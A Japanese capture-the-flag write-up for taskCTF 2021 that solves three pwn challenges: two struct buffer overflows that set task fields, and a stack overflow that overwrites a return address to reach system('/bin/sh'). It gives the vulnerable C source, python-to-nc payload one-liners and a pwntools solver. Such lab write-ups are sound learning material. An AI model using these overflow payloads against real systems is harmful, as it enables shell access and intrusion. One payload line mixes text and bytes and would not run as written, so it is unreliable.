taskctf21

# taskCTF 2021

## Pwn
### super_easy1

問題

作成途中のタスク管理アプリに脆弱性があるらしい。 タスクを完了したらflagがもらえるらしいので、試してみてね。

配布コード


```
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_NAME_SIZE 16

// バッファリングを無効化して時間制限を60秒に設定
__attribute__((constructor)) void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

// TASKはタスクを管理する構造体
typedef struct {
  char name[MAX_NAME_SIZE];
  u_int32_t is_done;
  u_int32_t score;
} TASK;

TASK task;

// for
void show_flag() {
  if (task.is_done == 0) {
    printf("DO NOT CHEATING");
    return;
  }

  FILE *fp = fopen("flag", "r");
  if (fp == NULL) {
    fprintf(stderr, "flag not found");
    return;
  }

  char flag[64];
  fgets(flag, 64, fp);
  printf(flag);

  fclose(fp);
}

void initialize() {
  // デフォルトではis_doneは0
  task.is_done = 0;
}

int main() {
  printf("Input task name\n");
  scanf("%s%*c", task.name);

  printf("task\n");
  printf("task name: %s\n", task.name);
  printf("task done: %d\n", task.is_done);

  // タスクの完了判定
  if (task.is_done) {
    show_flag();
  }
}
```

nameをオーバーフローさせてis_doneに値を入れてあげればFlagを獲得できそうです。
nameには16バイト割り当てられているため、
python -c "print('A'*17)" | nc {score_server_Ip} {port}
上記を実行するとFlagを獲得できます。


### super_easy2

問題
作成途中のタスク管理アプリに脆弱性があると指摘したら、実際の数値を入れてみろと言ってきた。大した違いはないのにな...

```
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define MAX_NAME_SIZE 16
#define MAX__SIZE 16

// バッファリングを無効化して時間制限を60秒に設定
__attribute__((constructor)) void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

// TASKはタスクを管理する構造体
typedef struct {
  char name[MAX_NAME_SIZE]; // 最大16文字
  u_int32_t is_done;
  u_int32_t score;
} TASK;

TASK task;

//taskが0、もしくは、taskが0x1337じゃなければ
void show_flag() {
  if (task.is_done == 0 || task.score != 0x1337) {
    printf("DO NOT CHEATING");
    return;
  }

  FILE *fp = fopen("flag", "r");
  if (fp == NULL) {
    fprintf(stderr, "flagが存在しません");
    return;
  }

  char flag[64];
  fgets(flag, 64, fp);
  printf(flag);

  fclose(fp);
}

void initialize() {
  // デフォルトではis_doneは0
  task.is_done = 0;

  // デフォルトのスコアは10
  task.score = 10;
}

int main() {
  // シグナルは無効化するよ
  struct sigaction sa = (struct sigaction){0};
  sa.sa_handler = SIG_IGN;
  if (sigaction(SIGINT, &sa, NULL) < 0) {
    return 1;
  }

  printf("Input task name\n");
  //タスクネームを読み込む

  scanf("%s%*c", task.name);

  printf("task\n");
  printf("task name: %s\n", task.name);
  printf("task done: %d\n", task.is_done);

  if (task.is_done && task.score == 0x1337) {
    show_flag();
  }
}

```

nameをオーバーフローさせ、is_doneに値を入れる、かつscoreに1337を与えてあげれFlagを獲得できます。
先ほどの16byteにu_int32_t is_doneを加えるので20byteを入力すればscoreに値を書き込むことが出来そうです。

python -c "print('a'*20+b'\x37\x13')" | nc {score_server_Ip} {port}

### prediction

問題
flagが予測できますか？

配布コード

```
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// バッファリングを無効化して時間制限を60秒に設定
__attribute__((constructor)) void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

char binsh[0x8] = "/bin/sh";

void debug_stack_dump(unsigned long rsp, unsigned long rbp) {
  unsigned long i;
  puts("\n***start stack dump***");
  i = rsp;
  while (i <= rbp + 32) {
    unsigned long *p;
    p = (unsigned long *)i;
    printf("0x%lx: 0x%016lx", i, *p);
    if (i == rsp) {
      printf(" <- rsp");
    } else if (i == rbp) {
      printf(" <- rbp");
    } else if (i == rbp + 8) {
      printf(" <- return address");
    }
    printf("\n");
    i += 8;
  }
  puts("***end stack dump***\n");
}

void show_flag() {
  char flag_name[0x30];
  printf("What is the flag?");
  flag_name[read(0, flag_name, 0x100) - 1] = '\0';

  if (strncmp(flag_name, "taskctf{", 8) != 0) {
    write(2, "Invalid flag", 13);
    return;
  }

  // ここは正しいflagに差し替えられています
  if (strcmp(flag_name, "taskctf{hogefugapiyo}") == 0) {
    // show FLAG :)
    system(binsh);
  }

  // DEBUG MODE
  // TODO: remove
  {
    register unsigned long rsp asm("rsp");
    register unsigned long rbp asm("rbp");
    debug_stack_dump(rsp, rbp);
  }
}

int main() { show_flag(); }
```


taskctf{と適当な文字列をいれて実行してみます。


![](https://i.imgur.com/QFk8Byi.png)

Debugモードが起動しました。丁寧にstackの中身を教えてくれています。
return addressを書き換え、system(binsh)を起動出来ればシェルが取れそうです。

objdumpで逆アセンブルして、system(binsh)を呼び出しているアドレスを調査します。
```
objdump -d  -M intel ./prediction
```

![](https://i.imgur.com/6BBHoCb.png)

調査結果より、リターンアドレスを0x4013f7に書き換えてみます。

今回はpwntoolというpythonのライブラリを使い、solverを書いていきます。

```
from pwn import *

#x = process('/home/kali/Desktop/prediction/prediction')
x = remote("{score_server_Ip}", {port})
payload = b"a" * 48
payload += b"taskctf{"
payload += p64(0x4013f7)

x.send(payload)
x.interactive()
```
remote():リモートホストと通信
send():引数に与えたデータを送信
interactive():任意プロセスとインタラクティブに通信

上記を実行すると、flagが取れました。

![](https://i.imgur.com/xvJi2Tg.png)


## 感想
問題を解く過程でgdbやobjdumpなど普段使わないツールの使い方を学ぶことが出来ました。
低レイヤーは難しいですが今後もチャレンジしていきたいです。